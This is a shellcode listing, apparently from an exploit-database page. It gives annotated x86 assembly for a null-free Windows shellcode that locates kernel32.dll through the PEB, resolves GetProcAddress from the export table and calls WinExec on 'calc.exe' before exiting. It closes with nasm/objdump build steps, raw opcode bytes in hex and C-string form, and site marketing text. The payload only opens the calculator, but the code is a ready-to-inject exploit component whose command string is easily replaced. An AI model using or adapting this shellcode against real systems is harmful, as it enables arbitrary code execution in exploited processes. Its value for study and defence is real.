; Shellcode Title: Dynamic, Null-Free PopCalc Shellcode (223 Bytes)
; Shellcode Author: Bobby Cooke
; Technique: PEB & Export Directory Table
; Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363
# Create a new stack frame
push ebp ; push current base pointer to the stack
mov ebp, esp ; Set Base Stack Pointer for new Stack-Frame
sub esp, 0x30 ; Decrement the stack by 96 to create space for saving pointers
# Push string "GetProcAddress",0x00 onto the stack
xor eax, eax ; clear eax register
mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
push 0x41636f72 ; Acor : 41636f72
push 0x50746547 ; PteG : 50746547
mov [ebp-0x4], esp ; save PTR to string at bottom of stack (ebp)
# Find Base Address of the kernel32.dll Dynamically Linked Library
xor eax, eax ; clear eax register
mov eax, [fs:eax+0x30] ; EAX = Address_of_PEB
mov eax, [eax+0xc] ; EAX = Address_of_LDR
mov eax, [eax+0x1c] ; EAX = First Entry of InInitialzationOrderModuleList - ntdll.dll
mov ebx, eax ; Get the second entry in the Initialization Order Module List (kernelbase.dll)
mov eax, [ebx] ; EAX = Second Entry of InInitialzationOrderModuleList - kernelbase.dll
mov ebx, eax ; Get the third entry in the Initialization Order Module List (kernel32.dll)
mov eax, [ebx] ; EAX = Third Entry of InInitialzationOrderModuleList - kernel32.dll
mov eax, [eax+0x8] ; move the kernel32.dll base address into the EAX register
; EAX = Base address of kernel32.dll
mov [ebp-0x8], eax ; Save the base address of kernel32.dll in the 2nd from bottom position on our stack
# Find Base Address of GetProcAddress Symbol
mov ebx, [eax+0x3c] ; save Relative Virtual Address (RVA/Offset) of New_Exe_Header to ebx.
add ebx, eax ; EBX = Address of new Header
mov ebx, [ebx+0x78] ; (RVA of New Exe Header) + 0x78 = RVA of Export-Table
add ebx, eax ; EBX now holds the address of the Export Table for kernel32.dll
mov edi, [ebx+0x20] ; PTR to RVA of Name-Pointer Table
add edi, eax ; (kernel32.dll baseAddr) + (RVA Name-Pointer Table) = Address of Name-Pointer Table
mov [ebp-0xC], edi ; save Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
mov ecx, [ebx+0x24] ; PTR to RVA of Ordinal Table
add ecx, eax ; (kernel32.dll baseAddr) + (RVA Ordinal Table) = Address of Ordinal Table
mov [ebp-0x10], ecx ; save PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)
mov edx, [ebx+0x1c] ; PTR to RVA of Address Table
add edx, eax ; (kernel32.dll baseAddr) + (RVA Address Table) = Address of Address Table
mov [ebp-0x14], edx ; save PTR to Address Table Address at 5th from bottom of stack (ebp-20)
mov edx, [ebx+0x14] ; Value of Number of Functions/Symbols within the Tables
xor eax, eax ; Counter = 0
loop:
mov edi, [ebp-0xC] ; Address of the Name-Pointer Table
mov esi, [ebp-0x4] ; PTR to string "GetProcAddress",0x00
xor ecx, ecx ; clear ecx register -- used for counters/loops
cld ; clear direction flag, DF=0 -- Process strings from left to right
mov edi, [edi+eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA of Nth entry = (Address of Name-Pointer Table) + (Counter * 4)
add edi, [ebp-0x8] ; edi = address of string = (kernel32.dll base addr) + (RVA of Nth entry)
add cx, 0xf ; ecx = length of string to compare = sizeof("GetProcAddress") = 15 (14 Letters + 1 String Terminator Char)
repe cmpsb ; compare first 15 bytes of string. esi cmp edi
; if equal ZF=1, if not ZF=0
jz found ; if strings match end loop, else increment eax and loop again
inc eax ; counter ++
cmp eax, edx ; check if eax = Value of Number of Functions/Symbols within the Tables
jb loop ; If eax != edx, restart the loop
found:
; The Counter (eax) now holds the position of GetProcAddress within the table
mov ecx, [ebp-0x10] ; ecx = Address of Ordinal Table
mov edx, [ebp-0x14] ; edx = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = (Address of Ordinal Table) + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, [ebp-0x8] ; eax = address of GetProcAddress = (RVA of GetProcAddress) + (kernel32.dll base addr)
; Address of GetProcAddress is now in EAX
mov [ebp-0x18], eax ; save Address of GetProcAddress onto Stack 0x18=24; 6th from bottom
; Call GetProcAddress(hModule &kernel32.dll, lpProcName "WinExec")
; hModule: address of the DLL module that contains the function.
; lpProcName: A Pointer to the beginning of an ASCII string of the functions name; null terminated.
mov edx, 0x63657878 ; "xxec"
shr edx, 8 ; edx = "xec",0x00 // shr edx, 8 = Shifts the edx register to the right 8 bits
push edx
push 0x456e6957 ; EniW : 456e6957
push esp ; $lpProcName -- push the address of the start of the string onto the stack
push dword [ebp-0x8] ; $hModule -- push base address of kernel32.dll to the stack
mov eax, [ebp-0x18] ; Move the address of GetProcAddress into the EAX register
call eax ; Call the GetProcAddress Function.
; The address of the queried function is returned into the EAX register.
mov [ebp-0x1c], eax ; save Address of WinExec onto Stack 0x1c=28; 7th from bottom
; Call WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
; lpCmdLine = "calc.exe" # String to program path
; uCmdShow = 0x00000001 # SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov eax, esp ; save pointer to "calc.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL - 0x00000001
push ecx ; uCmdShow *ptr to stack in 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in 1st position
mov eax, [ebp-0x1c] ; Move the address of WinExec into the EAX register
call eax ; Call the WinExec Function.
; Call GetProcAddress(hModule &kernel32.dll, lpProcName "ExitProcess")
xor ecx, ecx
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636f7250 ; corP : 636f7250
push 0x74697845 ; tixE : 74697845
push esp ; push pointer to string to stack for 'ExitProcess',0x00
push dword [ebp-0x8] ; push base address of kernel32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddressA to EAX
call eax ; GetProcAddressA(PTR *kernel32.dll, "ExitProcess"0x00)
; EAX = ExitProcess Address
mov [ebp-0x20], eax ; save Address of ExitProcess onto Stack 0x54=84
; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
mov eax, [ebp-0x20] ; ExitProcess(ExitCode)
call eax
# Compiled on Kali with nasm
; nasm -f win32 dynaCalc.asm -o dynaCalc.o
; for i in $(objdump -D dynaCalc.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
; RAW:
; 5589e583ec3031c066b8737350686464726568726f634168476574508965fc31c0648b40308b400c8b401c89c38b0389c38b038b40088945f88b583c01c38b5b7801c38b7b2001c7897df48b4b2401c1894df08b531c01c28955ec8b531431c08b7df48b75fc31c9fc8b3c87037df86683c10ff3a674054039d072e48b4df08b55ec668b04418b04820345f88945e8ba78786563c1ea08526857696e4554ff75f88b45e8ffd08945e431c951682e6578656863616c6389e04151508b45e4ffd031c9b901657373c1e908516850726f63684578697454ff75f88b45e8ffd08945e031d2528b45e0ffd0
; Python/C format:
; "\x55\x89\xe5\x83\xec\x30\x31\xc0\x66\xb8\x73\x73\x50\x68\x64\x64\x72\x65\x68\x72\x6f\x63"
; "\x41\x68\x47\x65\x74\x50\x89\x65\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x89"
; "\xc3\x8b\x03\x89\xc3\x8b\x03\x8b\x40\x08\x89\x45\xf8\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01"
; "\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf4\x8b\x4b\x24\x01\xc1\x89\x4d\xf0\x8b\x53\x1c\x01\xc2"
; "\x89\x55\xec\x8b\x53\x14\x31\xc0\x8b\x7d\xf4\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x03\x7d"
; "\xf8\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf0\x8b\x55\xec\x66\x8b"
; "\x04\x41\x8b\x04\x82\x03\x45\xf8\x89\x45\xe8\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57"
; "\x69\x6e\x45\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xe4\x31\xc9\x51\x68\x2e\x65\x78"
; "\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\x8b\x45\xe4\xff\xd0\x31\xc9\xb9\x01\x65\x73"
; "\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\xff\x75\xf8\x8b\x45\xe8"
; "\xff\xd0\x89\x45\xe0\x31\xd2\x52\x8b\x45\xe0\xff\xd0"
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation